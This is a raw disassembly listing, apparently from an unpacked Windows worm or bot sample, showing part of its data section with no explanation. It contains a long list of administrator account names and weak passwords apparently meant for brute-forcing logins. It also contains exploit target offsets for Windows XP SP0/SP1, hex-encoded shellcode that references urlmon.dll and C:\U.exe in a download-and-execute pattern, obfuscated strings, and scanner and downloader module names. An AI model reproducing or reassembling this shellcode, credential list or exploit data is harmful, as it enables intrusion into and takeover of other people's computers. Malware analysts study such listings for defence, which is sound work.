dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 dd offset aBadAllocatio_0 ; "bad allocation" dd offset aBadAllocatio_1 ; "bad allocation" dword_424528 dd 4Eh ; DATA XREF: sub_401F1C+81o ; sub_401F1C+C8r ... dd 7 dup(0) dword_424548 dd 8Bh ; DATA XREF: sub_401F1C+3FEr ; sub_40251A+77r ... dword_42454C dd 0 ; DATA XREF: sub_40251A:loc_40256Br ; sub_41A8D5+E8r ... off_424550 dd offset sub_41A9DE ; DATA XREF: sub_413A2D+20Cr ; sub_413A2D+31Dr ... dd 4Dh, 7 dup(0) dd 599h, 0 dd offset sub_41B1A0 dd 53h, 7 dup(0) dd 0B97h, 0 dd offset sub_41A8D5 dd 0Bh dup(0) dd offset aBadAllocatio_2 ; "bad allocation" dword_4245DC dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_41A5C1+205o dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 0 dword_424604 dd 6EB4141h, 501E100Dh, 6D6Dh, 41EF94h ; DATA XREF: sub_41A5C1+2B4o dword_424614 dd 5C0D0A00h, 2E2F5Fh ; DATA XREF: sub_41A9DE+4A3o dword_42461C dd 0EFFFC481h, 44FFFFh, 41EFA4h ; DATA XREF: sub_41A9DE+321o dword_424628 dd 42Ah ; DATA XREF: sub_41A9DE+2CBr dword_42462C dd 3E8h ; DATA XREF: sub_41A9DE+4EDr dword_424630 dd 258h ; DATA XREF: sub_41A9DE+318r dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dword_424644 dd 20804h ; DATA XREF: sub_41A9DE+506r ; sub_41A9DE+512r ... dd offset aBadAllocatio_4 ; "bad allocation" dd offset aBadAllocatio_5 ; "bad allocation" off_424650 dd offset byte_41EF0B ; DATA XREF: sub_41B1A0:loc_41B27Dr ; sub_41B1A0+EEo dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin_0 ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem_0 ; "system" dd offset aServer ; "server" dd offset aRoot_0 ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter_0 ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob_0 ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa_0 ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp_0 ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet_0 ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" align 10h dd offset aBadAllocatio_6 ; "bad allocation" dd offset aBadAllocatio_7 ; "bad allocation" dd offset aBadAllocatio_8 ; "bad allocation" dd offset aBadAllocatio_9 ; "bad allocation" dd offset aBadAllocati_10 ; "bad allocation" dword_424894 dd 22B1C933h, 74D9EED9h, 805BF424h, 8000146Bh, 8300156Bh ; DATA XREF: sub_41411F+78o dd 0F3E2FEEBh, 0 dword_4248B0 dd 22B1C933h, 74D9EED9h, 805BF424h, 80001473h, 83001573h ; DATA XREF: sub_41411F+182o dd 0F3E2FEEBh, 2 dup(0) dword_4248D0 dd 758B54EBh, 35748B3Ch, 56F50378h, 320768Bh, 49C933F5h ; DATA XREF: sub_41432A+38o dd 0DB33AD41h, 14BE0F36h, 74F23828h, 0DCBC108h, 0EB40DA03h dd 75DF3BEFh, 5E8B5EE7h, 66DD0324h, 8B4B0C8Bh, 0DD031C5Eh dd 38B048Bh, 7275C3C5h, 6E6F6D6Ch, 6C6C642Eh, 5C3A4300h dd 78652E55h, 0C0330065h, 30400364h, 408B0C78h, 1C708B0Ch dd 8408BADh, 408B09EBh, 7C408D34h, 953C408Bh, 0E4E8EBFh dd 0FF84E8ECh, 0EC83FFFFh, 242C8304h, 95D0FF3Ch, 1A36BF50h dd 6FE8702Fh, 8BFFFFFFh, 8DFC2454h, 0DB33BA52h, 0EB525353h dd 0D0FF5324h, 0FE98BF5Dh, 53E80E8Ah, 83FFFFFFh, 2C8304ECh dd 0D0FF6224h, 0E0CEEFBFh, 0FF40E860h, 0FF52FFFFh, 0FFD7E8D0h dd 0FFFFh, 0 dd 0FF000000h, 0FFFF0000h, 0FFFFFF00h, 80000000h, 800000h dd 8000h, 80h, 4200D0h dword_4249C0 dd 0 ; DATA XREF: sub_416AE0+6Er dword_4249C4 dd 0 ; DATA XREF: sub_416AE0+75r dd 0 dd 0FF000000h, 0 dd 0FFFF0000h, 0 dd 0FFFFFF00h, 0 dd 0FFFFFFFFh, 0FF000000h, 0FFFFFFFFh, 0FFFF0000h, 0FFFFFFFFh dd 0FFFFFF00h, 0FFFFFFFFh dword_424A00 dd 0 ; DATA XREF: sub_416AE0+8Br dword_424A04 dd 80000000h ; DATA XREF: sub_416AE0+91r dd 0 dd 800000h, 0 dd 8000h, 0 dd 80h, 80000000h, 0 dd 800000h, 0 dd 8000h, 0 dd 80h, 0 dd offset aBadAllocati_12 ; "bad allocation" dd offset aBadAllocati_13 ; "bad allocation" dword_424A48 dd 0BBEDEDF4h, 0E1F0FBFCh, 0FBBBF6E5h, 0E1F0h, 7Ch dup(0) ; DATA XREF: .text:0041C020o dword_424C48 dd 0E5F4A6E7h, 0E7A6h, 7Eh dup(0) ; DATA XREF: .text:0041C01Bo word_424E48 dw 1D45h ; DATA XREF: .text:loc_41C013r align 10h aHjdxzopvuvmrjf db 'hJdXZOPvUVmRJfVS',0 ; DATA XREF: sub_4196D1:loc_4196FCo ; sub_4196D1+44r align 4 dd 1Bh dup(0) dword_424ED0 dd 0EDF4B6B6h, 0EDh, 3Eh dup(0) ; DATA XREF: sub_41783D+2A9o ; sub_41783D+375o ... dword_424FD0 dd 0D5EDEDF4h, 0D5h, 4 dup(0) ; DATA XREF: sub_41783D+2FFo ; sub_41783D+38Fo byte_424FE8 db 2Eh ; DATA XREF: sub_417676+E4r byte_424FE9 db 0B8h, 0EDh, 0 ; DATA XREF: sub_41783D+3A5o dd 0Dh dup(0) db 0 byte_425021 db 0BFh, 0D5h, 0F4h ; DATA XREF: sub_41783D+611o dd 0FBBBEDEDh, 0E1F0h, 0Dh dup(0) db 0 byte_425061 db 0EFh, 0F8h, 0FAh ; DATA XREF: sub_401C1D+60o ; sub_416F86+B8o ... dd 0EDF0BBFBh, 0F0h, 1Dh dup(0) db 0 byte_4250E1 db 0CFh, 0F8h, 0A5h ; DATA XREF: .text:0041BEC5o dd 0FBh, 0Ch dup(0) db 0 byte_425119 db 0CFh, 2 dup(0) ; DATA XREF: sub_416F86+A4o ; sub_417119+7Co ... dd 40h dup(0) dword_42521C dd 8 ; DATA XREF: sub_41748B+174r ; sub_41748B+1B1r db 78h, 0Ch byte_425222 db 1 ; DATA XREF: sub_40177B+8Fr ; sub_4019F3+8Fr align 4 dd offset aBadAllocati_14 ; "bad allocation" aGdbdADjmGjZJJN db 'У¤¡¤ÓÑ ×ÐÓ¤¦¬Ñ£¦Ó§Ô¦Ð¦ÐÑÑÐÑÖÐÑ ÐѦ§£¤Ö¤Ô¤ÐÔÓÑЧ¤¢§¥ ££ÑÖÐצӥ' ; DATA XREF: sub_40177B+7Co db 'Ö¢Ó¬£ÔÖ¡¤£¢¥¡Ô¡Ó¡×Ѭ¬Ó¬¤Ó§£ÖÓЦ§Ð×£¤¢¡¦§ צ¢×פ¡Ð×Ô ÔÖ',0 align 4 dd 70h dup(0) aNbEdGzDdnbgNdZ db '¡×¥¤Ð£§Ñ¤¤¡£Ð¤Ð§ÑÑ£¬¤Ó×ÖЬ ¢¢×¦ ÐЦ¬¬¤¡Ð ¬Ô¤Ð£××¢¢¡×£¢§§Ó£¬' ; DATA XREF: sub_4019F3+7Co db 'У¬¢¢Ô¡¬§Ó¤Ñ¡¦¥¡¢ÑÓ¤¢¡ÖÐ׬Ԭ ÐÔ¡¦Ö×£¡§ §££¢£××Ч¢×ÑÖ Ð¦Ð ',0 align 4 dd 10h dup(0) asc_425528 db 'ÛÜÖÞ',0 ; DATA XREF: sub_41802F+216o ; sub_41829C+27o align 10h db 0 asc_425531 db 'ÅÔÆÆ',0 ; DATA XREF: sub_41802F+13Eo align 4 db 2 dup(0) asc_42553A db 'ÀÆÐÇ',0 ; DATA XREF: sub_41802F+227o align 10h db 3 dup(0) asc_425543 db 'ÅÜÛÒ',0 ; DATA XREF: sub_41783D+1CFo dd 0 asc_42554C db 'ÅÚÛÒ',0 ; DATA XREF: sub_41783D+22Fo align 4 db 0 asc_425555 db 'ÞÜÖÞ',0 ; DATA XREF: sub_41783D+1DFo align 4 db 2 dup(0) asc_42555E db 'ßÚÜÛ',0 ; DATA XREF: sub_41783D+2ECo ; sub_41783D+355o align 4 db 3 dup(0) asc_425567 db 'ØÚÑÐ',0 ; DATA XREF: sub_41783D+365o align 10h asc_425570 db 'ÅÇÜÃØÆÒ',0 ; DATA XREF: sub_417361+A4o ; sub_41783D+1EFo align 10h dword_425580 dd 0E5E1E1FDh, 0E2BABAAFh, 0F1BBE2E2h, 0F0FEFBF0h, 0F0E3FAFBh ; DATA XREF: sub_41A5C1+123o ; sub_41A9DE+408o dd 0FBF0F1E7h, 0BBFBF0FEh, 0E2BAF9FBh, 0FAF9F7F0h, 0F8FCBAF2h dd 0E6F0F2F4h, 0FAF8EFBAh, 0EDF0BBFBh, 0F0h, 420350h dword_4255BC dd 5348h, 4204B8h, 4204D4h, 4206C8h, 4206D8h, 42070Ch ; DATA XREF: sub_418C40+20o ; sub_418C40+8Eo dd 42071Ch, 420734h dword_4255DC dd 80000002h, 80000001h, 420A4Ch ; DATA XREF: sub_419A9F+6Bo dword_4255E8 dd 0CA975201h, 0A811D059h, 0D5h, 1Dh dup(0) ; DATA XREF: sub_4198D2+3Do dd 9, 0C5C1371Dh, 6379AB46h, 8Fh, 1Dh dup(0) dd 9, 7D8AAFA8h, 0F4BE11C9h, 8, 1Dh dup(0) dd 9, 9F499642h, 0F537FD4Ah, 0D6h, 1Dh dup(0) dd 9, 123485E9h, 411291D9h, 12h, 1Dh dup(0) dd 9, 5EB02EBh, 0FFFFF9E8h, 0FFh, 1Dh dup(0) dd 9 off_425900 dd offset off_41D38C ; DATA XREF: .rdata:00420E8Co ; .rdata:00420EACo align 8 a_?avclsmodule@ db '.?AVclsModule@@',0 off_425918 dd offset off_41D38C ; DATA XREF: .rdata:00420ED4o ; .rdata:00420EFCo ... align 10h a_?avlength_err db '.?AVlength_error@std@@',0 align 4 off_425938 dd offset off_41D38C ; DATA XREF: .rdata:00420F24o ; .rdata:00420F48o ... align 10h a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_425958 dd offset off_41D38C ; DATA XREF: .rdata:00420DE4o ; .rdata:00420F94o ... align 10h a_?avexception@ db '.?AVexception@std@@',0 off_425974 dd offset off_41D38C ; DATA XREF: .rdata:00420F70o ; .rdata:00420FC8o ... dd 0 a_?avbad_alloc@ db '.?AVbad_alloc@std@@',0 off_425990 dd offset off_41D38C ; DATA XREF: .rdata:00420FF0o ; .rdata:00421014o align 8 a_?avmdlupd@@ db '.?AVmdlUPD@@',0 align 4 off_4259A8 dd offset off_41D38C ; DATA XREF: .rdata:0042103Co ; .rdata:00421060o align 10h a_?avmdldl@@ db '.?AVmdlDL@@',0 off_4259BC dd offset off_41D38C ; DATA XREF: .rdata:00421088o ; .rdata:004210ACo dd 0 a_?avmdlhttpinf db '.?AVmdlHTTPInfo@@',0 align 4 off_4259D8 dd offset off_41D38C ; DATA XREF: .rdata:004210D4o ; .rdata:004210F8o align 10h a_?avmdlnetinfo db '.?AVmdlNetInfo@@',0 align 4 off_4259F4 dd offset off_41D38C ; DATA XREF: .rdata:00421120o ; .rdata:00421144o dd 0 a_?avmdlsysinfo db '.?AVmdlSysInfo@@',0 align 10h off_425A10 dd offset off_41D38C ; DATA XREF: .rdata:0042116Co ; .rdata:00421190o align 8 a_?avmdlscansta db '.?AVmdlScanStats@@',0 align 4 off_425A2C dd offset off_41D38C ; DATA XREF: .rdata:004211B8o ; .rdata:004211DCo dd 0 a_?avmdlscansto db '.?AVmdlScanStop@@',0 align 4 off_425A48 dd offset off_41D38C ; DATA XREF: .rdata:00421204o ; .rdata:00421228o align 10h a_?avmdlscanner db '.?AVmdlScanner@@',0 align 4 dd 7 dup(0) dword_425A80 dd 0 ; DATA XREF: sub_402E33+4w ; __invalid_parameter+3r dword_425A84 dd 0 ; DATA XREF: operator new(uint)+2Bo ; sub_41C52Aw ... align 10h dword_425A90 dd 0 ; DATA XREF: operator new(uint):loc_40306Fr ; operator new(uint)+32w ; void *dword_425A94 dword_425A94 dd 0 ; DATA XREF: ___tmainCRTStartup+11Dw ; __setenvp:loc_40ABF3r ... dd 0 dword_425A9C dd 0 ; DATA XREF: _fast_error_exitr ; __set_error_mode+15r ... dword_425AA0 dd 0 ; DATA XREF: ___report_gsfailure+8Fw ; .rdata:off_41D3F8o dword_425AA4 dd 0 ; DATA XREF: ___report_gsfailure+99w dd 0 dword_425AAC dd 0 ; DATA XREF: ___report_gsfailure+8Aw dd 10h dup(0) dword_425AF0 dd 0 ; DATA XREF: ___report_gsfailure+BFw ; ___report_gsfailure+DFr align 8 dword_425AF8 dd 0 ; DATA XREF: ___report_gsfailure+7Bw ; .rdata:0041D3FCo dd 22h dup(0) word_425B84 dw 0 ; DATA XREF: ___report_gsfailure+4Fw align 4 word_425B88 dw 0 ; DATA XREF: ___report_gsfailure+48w align 4 word_425B8C dw 0 ; DATA XREF: ___report_gsfailure+41w align 10h word_425B90 dw 0 ; DATA XREF: ___report_gsfailure+3Aw align 4 dword_425B94 dd 0 ; DATA XREF: ___report_gsfailure+26w dword_425B98 dd 0 ; DATA XREF: ___report_gsfailure+20w dword_425B9C dd 0 ; DATA XREF: ___report_gsfailure+1Aw dword_425BA0 dd 0 ; DATA XREF: ___report_gsfailure+14w dword_425BA4 dd 0 ; DATA XREF: ___report_gsfailure+Ew dword_425BA8 dd 0 ; DATA XREF: ___report_gsfailure+9w dword_425BAC dd 0 ; DATA XREF: ___report_gsfailure+60w dword_425BB0 dd 0 ; DATA XREF: ___report_gsfailure+68w ; ___report_gsfailure+85r word_425BB4 dw 0 ; DATA XREF: ___report_gsfailure+33w align 4 dword_425BB8 dd 0 ; DATA XREF: ___report_gsfailure+57w dword_425BBC dd 0 ; DATA XREF: ___report_gsfailure+70w word_425BC0 dw 0 ; DATA XREF: ___report_gsfailure+2Cw align 4 dd 80h dup(0) dword_425DC4 dd 0 ; DATA XREF: getSystemCP(int)+15w ; getSystemCP(int)+1Dw ... word_425DC8 dw 0 ; DATA XREF: __setmbcp+E7w align 4 dd 2 dup(0) dword_425DD4 dd 4E4h ; DATA XREF: __setmbcp+C3w dword_425DD8 dd 0 ; DATA XREF: __setmbcp+CBw dword_425DDC dd 0 ; DATA XREF: __setmbcp+D3w dword_425DE0 dd 0 ; DATA XREF: __stricmp+6r ; __strnicmp+6r ... dd 8 dup(0) off_425E04 dd offset sub_4051F6 ; DATA XREF: __mtinit+30w __mtinit+51r ... dword_425E08 dd 77E78B61h ; DATA XREF: ___set_flsgetvalue+10r ; __mtinit+3Dw ... dword_425E0C dd 77E79B39h ; DATA XREF: __getptd_noexit+44r ; __mtinit+4Aw ... dword_425E10 dd 77E72B29h ; DATA XREF: __mtterm+Br __mtinit+5Ew ... align 8 dword_425E18 dd 15B178h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: __mtinitlocks+4o ; .data:off_423800o dword_425E30 dd 15B1A0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:00423808o dword_425E48 dd 15B1C8h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:00423818o dd 15B1F0h, 0FFFFFFFFh, 4 dup(0) dword_425E78 dd 15B218h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:00423830o dd 15B240h, 0FFFFFFFFh, 4 dup(0) dd 15B268h, 0FFFFFFFFh, 4 dup(0) dword_425EC0 dd 15B290h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:00423850o dword_425ED8 dd 15B2B8h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:00423860o dd 15B2E0h, 0FFFFFFFFh, 4 dup(0) dd 15B308h, 0FFFFFFFFh, 4 dup(0) dword_425F20 dd 15B410h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:00423880o dd 15B438h, 0FFFFFFFFh, 4 dup(0) dd 15B460h, 0FFFFFFFFh, 4 dup(0) dword_425F68 dd 9B0000h ; DATA XREF: __msize+7Cr _free+62r ... dword_425F6C dd 0 ; DATA XREF: ___sbh_heap_init+21w ; ___sbh_free_block+21Cr ... dword_425F70 dd 0 ; DATA XREF: unknown_libname_53+14r ; unknown_libname_53+29r ... dword_425F74 dd 0 ; DATA XREF: __tsopen_nolock+19Er dword_425F78 dd 2 ; DATA XREF: ___tmainCRTStartup+A8w ; sub_407906:loc_40792Er ... dword_425F7C dd 0A28h ; DATA XREF: ___tmainCRTStartup+BFw dword_425F80 dd 501h ; DATA XREF: ___tmainCRTStartup+AEw dword_425F84 dd 5 ; DATA XREF: ___tmainCRTStartup+B3w ; sub_40793D+30r dword_425F88 dd 1 ; DATA XREF: ___tmainCRTStartup+B9w dword_425F8C dd 1 ; DATA XREF: __setargv+A2w dword_425F90 dd 9B2BA8h ; DATA XREF: __setargv+A7w align 8 ; void *dword_425F98 dword_425F98 dd 9B2BC8h ; DATA XREF: __setenvp+4Bw ; __setenvp:loc_40ACA6r ... dd 3 dup(0) off_425FA8 dd offset aCM_unpackerPac ; DATA XREF: __setargv+37w ; "C:\\m_unpacker\\packed.exe" align 10h byte_425FB0 db 0 ; DATA XREF: _doexit+2Cw ; ___endstdio+5r align 4 dword_425FB4 dd 0 ; DATA XREF: _doexit+23w dword_425FB8 dd 0 ; DATA XREF: _doexit+1Br _doexit+A0w dword_425FBC dd 0 ; DATA XREF: sub_407F55+27o ; void *dword_425FC0 dword_425FC0 dd 0 ; DATA XREF: sub_407F55+22r dword_425FC4 dd 0 ; DATA XREF: sub_408058+4w __callnewhr dword_425FC8 dd 2 ; DATA XREF: __openfile+280w ; __stbuf:loc_408751w ... dd 3 dup(0) ; char Dst[] Dst db 19h dup(0) ; DATA XREF: __NMSG_WRITE+66o ; char byte_425FF1[] byte_425FF1 db 104h dup(0) ; DATA XREF: __NMSG_WRITE+8Ao byte_4260F5 db 0 ; DATA XREF: __NMSG_WRITE+92w align 4 dd 7Dh dup(0) dword_4262EC dd 0 ; DATA XREF: _malloc+80r ; __NMSG_WRITE+E3o ... dword_4262F0 dd 0 ; DATA XREF: ___libm_error_support+8r align 8 aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv+1Do ; .data:off_425FA8o align 4 dd 3Ah dup(0) byte_4263FC db 0 ; DATA XREF: __setargv+24w align 10h dword_426400 dd 1 ; DATA XREF: ___crtGetEnvironmentStringsA+2r ; ___crtGetEnvironmentStringsA+24w ... dword_426404 dd 77C26E79h ; DATA XREF: __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)+43r ; $LN9_2+11w ... byte_426408 db 1 ; DATA XREF: __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *):$LN10_2r ; $LN9_2+17w ... align 4 off_42640C dd offset ?terminate@@YAXXZ ; DATA XREF: _inconsistency(void)+Cr ; __initp_eh_hooks+Bw ; terminate(void) dword_426410 dd 1 ; DATA XREF: unknown_libname_111+14r ; unknown_libname_111+3Aw ... dword_426414 dd 1 ; DATA XREF: __crtGetStringTypeA_stat(localeinfo_struct *,ulong,char const *,int,ushort *,int,int,int)+Fr ; __crtGetStringTypeA_stat(localeinfo_struct *,ulong,char const *,int,ushort *,int,int,int)+37w ... dword_426418 dd 0 ; DATA XREF: .data:off_423F3Co ; .data:off_423F40o ... dword_42641C dd 77E7C706h ; DATA XREF: sub_40CAFA+4w ; ___crtInitCritSecAndSpinCount+11r ... dword_426420 dd 0 ; DATA XREF: __get_printf_count_output+Ar dword_426424 dd 0 ; DATA XREF: __initp_misc_winsig+4w ; unknown_libname_119:loc_40DD72o ... dword_426428 dd 0 ; DATA XREF: __initp_misc_winsig+9w ; unknown_libname_119:loc_40DDC8o ... dword_42642C dd 0 ; DATA XREF: __initp_misc_winsig+Ew ; sub_40DD1Cr ... dword_426430 dd 0 ; DATA XREF: __initp_misc_winsig+13w ; unknown_libname_119:loc_40DDD4o ... align 8 dword_426438 dd 0 ; DATA XREF: unknown_libname_126+4w dd 2 dup(0) dword_426444 dd 0 ; DATA XREF: sub_40DEE3+4w dd 0Fh dup(0) dword_426484 dd 0 ; DATA XREF: __openfile+6r dword_426488 dd 0 ; DATA XREF: sub_40F524+10r ; sub_40F524+60w ... dword_42648C dd 0 ; DATA XREF: sub_40F524+75w ; sub_40F524:loc_40F672r dword_426490 dd 0 ; DATA XREF: sub_40F524+82w ; sub_40F524+167r dword_426494 dd 0 ; DATA XREF: sub_40F524+D0w ; sub_40F524:loc_40F5F9r dword_426498 dd 0 ; DATA XREF: sub_40F524+BAw ; sub_40F524+E1r ... align 10h dword_4264A0 dd 0 ; DATA XREF: __fpmath+Fw dd 2Fh dup(0) dword_426560 dd 0 ; DATA XREF: sub_410889:loc_4108B1r byte_426564 db 0 ; DATA XREF: __cftoe2_l:loc_410B90r align 4 dword_426568 dd 0 ; DATA XREF: sub_419A10+4Br ; sub_419EA0+E6w ... dword_42656C dd 0 ; DATA XREF: sub_419948+14r ; sub_4199AC+14r ... dword_426570 dd 0 ; DATA XREF: sub_4198D2+1Dr ; sub_419EA0+136w ... dword_426574 dd 0 ; DATA XREF: sub_419A10+1Cr ; sub_419EA0+AAw ... dword_426578 dd 0 ; DATA XREF: sub_419EA0+BEw ; sub_419EA0+16Dr ... dword_42657C dd 0 ; DATA XREF: sub_419EA0+D2w ; sub_419EA0+179r ... dword_426580 dd 0 ; DATA XREF: sub_419948+34r ; sub_4199AC+34r ... dword_426584 dd 0 ; DATA XREF: sub_419A10+63r ; sub_419EA0+FAw ... dword_426588 dd 0 ; DATA XREF: sub_419EA0+14Aw ; sub_419EA0+322r dword_42658C dd 0 ; DATA XREF: sub_419EA0+96w ; sub_419EA0+155r ... dword_426590 dd 0 ; DATA XREF: sub_419948+4Dr ; sub_4199AC+4Dr ... dword_426594 dd 0 ; DATA XREF: sub_401C1D+6Dr ; sub_418B1F+A9w ... dword_426598 dd 0 ; DATA XREF: sub_401CC0+14Fr ; sub_41748B+11Dr ... dword_42659C dd 0 ; DATA XREF: sub_401CC0+149r ; sub_41748B+116r ... dword_4265A0 dd 0 ; DATA XREF: sub_401CC0+143r ; sub_418DA0+61w dword_4265A4 dd 0 ; DATA XREF: sub_401CC0+13Dr ; sub_418DA0+66w dword_4265A8 dd 0 ; DATA XREF: sub_401CC0+137r ; sub_418DA0+71w dword_4265AC dd 0 ; DATA XREF: sub_401CC0+12Ar ; sub_418DA0+76w dword_4265B0 dd 0 ; DATA XREF: sub_418D5Ar ; sub_418D5A:loc_418D8Fw ... dword_4265B4 dd 0 ; DATA XREF: sub_418D5A+5r ; sub_418D5A+3Bw ... dword_4265B8 dd 0 ; DATA XREF: sub_418D5A+15r ; sub_4192FB+20w ... dword_4265BC dd 0 ; DATA XREF: sub_4192FB+25w dd 33h dup(0) dword_42668C dd 2 dup(0) ; DATA XREF: sub_4192FB+43o word_426694 dw 0 ; DATA XREF: sub_41835D+8o ; sub_418B1F+AEw ... word_426696 dw 0 ; DATA XREF: sub_418B1F+D1w dword_426698 dd 0 ; DATA XREF: sub_418B1F+BDw dd 2 dup(0) dword_4266A4 dd 0 ; DATA XREF: sub_418C40+6r ; sub_418C40+73r ... dword_4266A8 dd 41h dup(0) ; DATA XREF: sub_418552+1EDo ; sub_418552+224o ... dword_4267AC dd 0 ; DATA XREF: sub_41835D+Dr ; sub_418B1F+84w ... ; char Str1 Str1 db 0 ; DATA XREF: sub_418552+293o ; sub_418552+477o ... align 4 dd 40h dup(0) byte_4268B4 db 0 ; DATA XREF: sub_401F1C:loc_401F83r ; sub_418B1F+117w ... align 4 dword_4268B8 dd 41h dup(0) ; DATA XREF: sub_418552:loc_41876Fo ; sub_418B1F+1Ao dword_4269BC dd 0 ; DATA XREF: sub_40177B+263o ; sub_4019F3+215o ... byte_4269C0 db 0 ; DATA XREF: sub_413A2D+53Dr ; sub_418301:loc_418331r ... align 4 dd 8 dup(0) dword_4269E4 dd 0 ; DATA XREF: sub_41B5D2+33w ; sub_41B5D2+8Fr ... ; char Filename[] Filename db 100h dup(0) ; DATA XREF: sub_41B3D0+49o ; sub_41B775+21o ; char Dest Dest db 0 ; DATA XREF: sub_401CC0+16Bo ; sub_41A391+D7o ... align 4 dd 3Fh dup(0) dword_426BE8 dd 0 ; DATA XREF: sub_401CC0+170r ; sub_41A391+45o dword_426BEC dd 0 ; DATA XREF: sub_401CC0+17Er ; sub_41A391:loc_41A51Cw ... byte_426BF0 db 0 ; DATA XREF: sub_401F1C+4B7w align 4 dd 3Fh dup(0) dword_426CF0 dd 0 ; DATA XREF: sub_401F1C+44Ar ; sub_401F1C+483w dd 3 dup(0) db 0 byte_426D01 db 0 ; DATA XREF: sub_401F1C:loc_4020A2r ; sub_40243A+AFw align 10h dword_426D10 dd 0 ; DATA XREF: sub_40243A:loc_4024C3r dd 330Bh dup(0) dword_433940 dd 0 ; DATA XREF: sub_40251A+A6r ; sub_418552+501r ... db 0 byte_433945 db 0 ; DATA XREF: sub_401F1C+3Er ; sub_41B5D2:loc_41B60Ew ... align 4 dword_433948 dd 0 ; DATA XREF: sub_41B5D2+13Bw dword_43394C dd 0 ; DATA XREF: sub_40251A+90r ; sub_41B3D0:loc_41B53Ew ... dword_433950 dd 5Eh dup(0) ; DATA XREF: sub_41A9DE+48Ao dword_433AC8 dd 5Dh dup(0) ; DATA XREF: sub_41A9DE+4ADo dword_433C3C dd 0 ; DATA XREF: 